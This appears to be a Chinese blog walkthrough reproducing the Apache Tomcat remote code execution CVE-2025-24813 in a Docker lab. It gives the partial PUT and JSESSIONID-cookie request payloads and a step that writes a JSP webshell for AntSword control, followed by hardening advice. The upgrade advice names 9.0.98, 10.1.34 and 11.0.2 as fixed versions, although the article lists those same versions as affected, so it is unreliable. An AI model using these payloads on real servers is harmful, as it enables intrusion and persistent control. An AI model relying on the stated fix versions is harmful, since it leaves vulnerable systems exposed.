Apache Tomcat 远程代码执行漏洞(CVE-2025-24813) 超详细!

article/2025/8/14 18:49:16

一、漏洞概述

远程代码执行漏洞(CVE-2025-24813)源于 Apache Tomcat 的反序列化机制未对用户输入进行严格验证,攻击者可通过构造恶意序列化对象绕过安全限制,处理部分 PUT 请求时,攻击者利用临时文件路径处理中的缺陷(将路径分隔符"/"替换为“.”),通过特定条件(如启用默认 servlet 的写入功能)实现远程代码执行并控制服务器‌。

二、影响版本

               Tomcat 11.0.0-M1 至 11.0.2Tomcat 10.1.0-M1 至 10.1.34Tomcat 9.0.0.M1 至 9.0.98‌

三、利用条件

‌3.1、DefaultServlet 写入功能显式启用‌
Tomcat 默认禁用文件上传功能,需在web.xml中手动配置 readonly=false 参数方可开启文件写入权限。

3.2、Partial PUT 请求处理机制暴露风险‌
系统默认开启对分块传输(Partial PUT)的支持,攻击者可构造包含恶意序列化对象的请求载荷,利用临时文件存储机制将会话数据持久化至服务器磁盘,为后续反序列化攻击提供载体。

3.3、文件会话持久化配置缺陷‌
当应用采用Tomcat的FileStore会话持久化方案且未修改默认存储路径(${CATALINA_HOME}/work)时,攻击者可通过路径遍历或文件覆盖手法精准定位会话文件,需在context.xml中进行配置。

3‌.4、脆弱依赖库引入攻击链‌
业务系统中若存在包含高危反序列化链的组件(如 Commons Collections 3.2.1 等),攻击者可通过加载恶意序列化数据触发远程代码执行。实际风险等级与业务代码的依赖库版本及防护措施直接相关。

四、复现过程

4.1、本次漏洞复现选择Tomcat9.0.98+JDK8,使用Docker进行环境搭建
4.1.1、拉取指定版本的Tomcat镜像

docker pull tomcat:9.0.98-jdk8

4.1.2、运行Tomcat容器,命名为tomcat9并将容器端口映射到宿主机

docker run -d --name tomcat9 -p 8899:8080 tomcat:9.0.98-jdk8

4.1.3、修复默认页面(当前访问是404),Tomcat 9镜像默认webapps目录为空,需从webapps.dist 复制默认应用

#进入容器终端

docker exec -it tomcat9 /bin/bash

#复制默认应用到 webapps 目录

cp -r webapps.dist/* webapps/

#退出容器

exit

4.2、访问本地8899端口出现Tomcat页面即搭建成功(默认端口8080)
在这里插入图片描述

4.3、记住你的容器ID或名称(执行命令时ID和名称效果一致),执行以下命令进入到容器终端

docker exec -it tomcat9 /bin/bash

在这里插入图片描述

4.4、进入以下目录创建一个名为lib的文件夹,用于存放高危反序列化链的组件

/usr/local/tomcat/webapps/ROOT/WEB-INF

4.5、下载一个名为commons-collections-3.2.1.jar的反序列化链组件
在这里插入图片描述

4.6、重开一个页面进入到宿主机的命令行,执行以下命令,用于将本地的commons-collections-3.2.1.jar文件导入至Tomcat的容器中

docker cp /你自己/的/路径/commons-collections-3.2.1.jar 容器ID:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib

在这里插入图片描述

4.7、将context.xml和web.xml导出到本地,命令和上一步的相反。
在这里插入图片描述

4.8、打开context.xml添加以下代码,用于开启File会话存储

<Manager className="org.apache.catalina.session.PersistentManager">  <Store className="org.apache.catalina.session.FileStore"/>  
</Manager>

在这里插入图片描述

4.9、打开web.xml添加以下代码,用于启用写入功能

<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>

在这里插入图片描述

4.10、回到Tomcat容器终端,删除context.xml和web.xml
在这里插入图片描述

4.11、回到宿主机终端,将修改好的两个xml文件传回容器到以下目录

/usr/local/tomcat/conf

在这里插入图片描述

4.12、Payload-1,注意Length长度要和Range分块保持一致且要大于恶意代码的长度

PUT /666/session HTTP/1.1
Host: liang.com:8899
Content-Length: 3677
Content-Range: bytes 0-3677/4200{{恶意代码}}

4.13、使用Yakit工具生成恶意序列化代码,命令如下,意思是进入到ROOT目录并执行ls命令,将结果写入到1.txt文件中

cd /usr/local/tomcat/webapps/ROOT && ls > 1.txt

在这里插入图片描述

4.14、将恶意序列化代码与Payload-1进行结合,并发送请求,注意发包时要进行Base64解码,参考下图。
在这里插入图片描述

4.15、进入到以下路径查看文件列表,发包后比发包前多了一个.666.session的临时文件(快速进入或提前进入,否则文件会消失),名称是将请求URL中的’/‘,替换成了’.‘

/usr/local/tomcat/work/Catalina/localhost/ROOT

在这里插入图片描述

4.16、Payload-2,直接发送请求(注意:发送完Payload-1尽量快些发送Payload-2,不然.666.session文件消失则无法利用),执行完成后报了一个状态码500的错误,实际文件已经写入到了1.txt,使用浏览器进行访问可以看到结果

GET / HTTP/1.1
Host: liang.com:8899
Cookie: JSESSIONID=.666

在这里插入图片描述
在这里插入图片描述

4.17、为了方便后续操作,生成恶意代码时可以使用命令写入JSP木马并通过蚁剑实现对该木马的连接与管理

cd /usr/local/tomcat/webapps/ROOT && echo '这里写JSP木马' > end.jsp

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

漏洞防护方案总结

1. 版本升级‌

官方修复版本升级‌:
将 Apache Tomcat 升级至安全版本(Tomcat 11.0.2+、10.1.34+、9.0.98+),以修复反序列化漏洞及 PUT 请求处理缺陷‌

2. 配置加固‌

‌禁用 DefaultServlet 写入功能‌:
在 web.xml 中确保 readonly 参数设置为 true(默认值),禁止通过默认 Servlet 上传或修改文件,阻断攻击者写入恶意会话文件的关键路径‌

关闭 Partial PUT 请求支持‌:
若业务无需分块传输功能,可在 Tomcat 配置中禁用 Partial PUT 请求,避免攻击者利用临时文件路径处理缺陷进行数据泄露或注入‌

‌调整会话持久化路径‌:
避免使用默认会话存储路径(${CATALINA_HOME}/work),自定义高权限目录并限制访问权限,防止攻击者通过路径遍历定位敏感文件‌

‌3. 依赖库管理‌

‌反序列化漏洞链阻断‌:
审查并移除存在高危反序列化链的依赖库(如 Commons Collections ≤3.1),升级至无漏洞版本或使用安全替代组件‌

‌4. 监控与响应‌

‌异常流量监控‌:
针对 PUT 请求、反序列化操作及会话文件读写行为部署实时监控,结合规则引擎识别异常攻击特征(如恶意序列化载荷、路径遍历尝试)‌

‌漏洞修复验证‌:
通过安全测试验证 Tomcat 版本升级后的反序列化防护有效性,并检查 Partial PUT 请求处理逻辑是否已修复‌


http://www.hkcw.cn/article/SRdjhsXsOJ.shtml

相关文章

Tomcat 是什么?有什么功能和作用?为什么启动 Spring 或 Spring Boot 项目需要 Tomcat?

本文的内容是博主学习并记录关于 Tomcat 的基本知识&#xff0c;介绍了 Tomcat 为什么是一个 Web 应用服务器&#xff0c;为什么是 Servlet 容器&#xff0c;同时总结了 Tomcat 的一些功能原理&#xff0c;并详细介绍了 Tomcat 在 Spring 和SpringBoot 项目中的使用原理。本文不…

IDEA 中配置 Tomcat (详细教程)

前言 在Web项目的开发过程中&#xff0c;Tomcat 作为一款开源的Servlet容器&#xff0c;不仅能够提供稳定的运行环境&#xff0c;为开发者提供了丰富的功能支持。因此&#xff0c;本文将详细阐述在Web项目如何配置Tomcat服务器&#xff0c;包括安装检查、模块设置、路径配置、依…

tomcat 在 Linux 环境下的安装与配置教程

想部署个 Java Web 项目&#xff1f;那你八成会接触到 Tomcat。 本篇就是为 从没用过 Tomcat 的新手 写的&#xff0c;带你一步一步在 Linux 系统里把 Tomcat 装好、跑起来&#xff01; 为什么要学会用 Tomcat&#xff1f; Tomcat 是一个免费的 Java Web 服务器&#xff0c;功…

【机器学习】线性回归与逻辑回归的极致解析:从数学理论到实战案例

文章目录 1. 引言Python 代码示例 2. 线性回归2.1 线性回归的基本概念线性回归的定义数学表达式及模型假设 2.2 线性回归的工作原理最小二乘法&#xff08;Ordinary Least Squares, OLS&#xff09;梯度下降法在线性回归中的应用多元线性回归与一元线性回归的区别与联系 2.3 线…

机器学习-聚类分析算法

一、聚类分析的定义 聚类分析是一种无监督学习的统计分析方法。它的主要目的是将一个数据集中的样本&#xff08;或观测值&#xff09;按照某种相似性或距离度量划分成若干个类别&#xff08;簇&#xff09;。在聚类过程中&#xff0c;同一个簇内的样本具有较高的相似性&#…

LeetCode 热题 100 回顾

目录 一、哈希部分 1.两数之和 (简单) 2.字母异位词分组 (中等) 3.最长连续序列 (中等) 二、双指针部分 4.移动零 (简单) 5.盛最多水的容器 (中等) 6. 三数之和 (中等) 7.接雨水 (困难) 三、滑动窗口 8.无重复字符的最长子串 (中等) 9.找到字符串中…

人脸识别-特征算法

文章目录 一、LBPH算法1.基本原理2.实现步骤3.代码实现 二、Eigenfaces算法1.特点2.代码实习 三、FisherFaces算法1.算法原理2.算法特点3.代码实现 四、总结 人脸识别特征识别器是数字信息发展中的一种生物特征识别技术&#xff0c;其核心在于通过特定的算法和技术手段&#xf…

【数据结构】排序算法---计数排序(动图演示)

文章目录 1. 定义2. 算法步骤3. 动图演示4. 性质5. 算法分析6. 代码实现C语言PythonJavaGo 结语 1. 定义 计数排序又称为鸽巢原理&#xff0c;是对哈希直接定址法的变形应用。计数排序不是基于比较的排序算法&#xff0c;其核心在于将输入的数据值转化为键存储在额外开辟的数组…

【优选算法 | 哈希表】常见算法题的哈希表套路拆解

算法相关知识点可以通过点击以下链接进行学习一起加油&#xff01;双指针滑动窗口二分查找前缀和位运算模拟链表 在刷题的过程中&#xff0c;我们会频繁遇到一些“高频套路”——而哈希表正是其中最常用也最高效的工具之一。它能帮助我们在 O(1) 的时间复杂度内完成查找、插入与…

数据结构《排序》

在之前数据结构之算法复杂度章节中我们学习了复杂度相关的概念&#xff0c;这就使得懂得如何来区分算法的好坏&#xff0c;在之前C语言专题中在指针的学习时我们了解了冒泡排序&#xff0c;之后再数据结构的二叉树章节中我们又学习了堆排序&#xff0c;其实排序不止这两种&…

TSP-旅行商问题(基于动态规划或蚁群算法求解)

1. TSP问题 旅行商问题(Travelling salesman problem, TSP)是运筹学和理论计算机科学中经典的问题.具体问题如下:给定一系列城市和每对城市之间的距离,求解访问每座城市一次并回到起始城市的最短回路. 2. 动态规划 本节参考旅行商问题(动态规划) 2.1 理论介绍 假设节点数…

【算法与数据结构】深入解析二叉树(二)之堆结构实现

文章目录 &#x1f4dd;二叉树的顺序结构及实现&#x1f320; 二叉树的顺序结构&#x1f320; 堆的实现&#x1f320; 堆的实现&#x1f309;堆向下调整算法&#x1f309;堆的创建&#x1f309;建堆时间复杂度&#x1f309;堆的插入&#x1f309;堆的删除 &#x1f320;堆向上调…

【leetcode】优先级队列的两种妙用:词频统计与动态中位数(附代码模板)

前言 &#x1f31f;&#x1f31f;本期讲解关于力扣的几篇题解的详细介绍~~~ &#x1f308;感兴趣的小伙伴看一看小编主页&#xff1a;GGBondlctrl-CSDN博客 &#x1f525; 你的点赞就是小编不断更新的最大动力 &#x1f386;那么废话不…

【算法学习】哈希表篇:哈希表的使用场景和使用方法

算法学习&#xff1a; https://blog.csdn.net/2301_80220607/category_12922080.html?spm1001.2014.3001.5482 前言&#xff1a; 在之前学习数据结构时我们就学习了哈希表的使用方法&#xff0c;这里我们主要是针对哈希表的做题方法进行讲解&#xff0c;都是leetcode上的经典…

HDFS详解

一、HDFS 概述 定位与特点 分布式文件系统&#xff1a;HDFS&#xff08;Hadoop Distributed File System&#xff09;是 Hadoop 生态的核心组件&#xff0c;专为海量数据存储和批处理设计。 核心设计原则&#xff1a; 高容错性&#xff1a;数据自动多副本冗余&#xff0c;支持…

【数据结构】String字符串的存储

目录 一、存储结构 1.字符串常量池 2.字符串哈希表 2.1结构 2.2基础存储单位 2.2.1键对象 2.2.2值对象 二、存储过程 1.搜索 2.创建 三、存储位置 四、存储操作 1.new新建 2.intern入池 这是String类的详解&#xff1a;String类变量 一、存储结构 1.字符串常量池…

数据结构大作业——家谱管理系统(超详细!完整代码!)

目录 设计思路&#xff1a; 一、项目背景 二、功能分析 查询功能流程图&#xff1a; 管理功能流程图&#xff1a; 三、设计 四、实现 代码实现&#xff1a; 头文件 结构体 函数声明及定义 创建家谱树头结点 绘制家谱树&#xff08;打印&#xff09; 建立右兄弟…

北京将有7级大风小冰雹 雷电蓝色预警发布

6月1日17时50分,北京发布雷电蓝色预警,预计当天20时至次日2时,自西向东将有雷阵雨天气,局地短时雨强较大,并伴有7级左右短时大风和小冰雹,请注意防范。明天上午至中午前后依旧会出现分散性雷阵雨,雨量总体不大。午后至前半夜北风增强,阵风明显,外出时请做好防风措施,…

专家:印太战略实质是霸权工具 不会得逞

针对美国防长赫格塞思在香格里拉对话会上涉及中国的部分表态,有中国学者指出,美国所谓的“印太战略”实质上是霸权工具,不会得逞。在对话会上,赫格塞思再次提到所谓的“印太战略”,并呼吁亚太地区同盟国和合作伙伴国与美国一起构筑更现实的战略关系。国防大学教授孟祥青表…

SCNN(Spatial CNN) 模型学习记录

目录 1.模型架构 2.核心模块SCNN_*分析 SCNN&#xff08;Spatial As Deep: Spatial CNN for Traffic Lane Detection&#xff09;是一种专为交通车道线检测任务设计的深度神经网络架构&#xff0c;由中国科学院计算技术研究所提出&#xff0c;旨在在语义分割框架中增强空间信…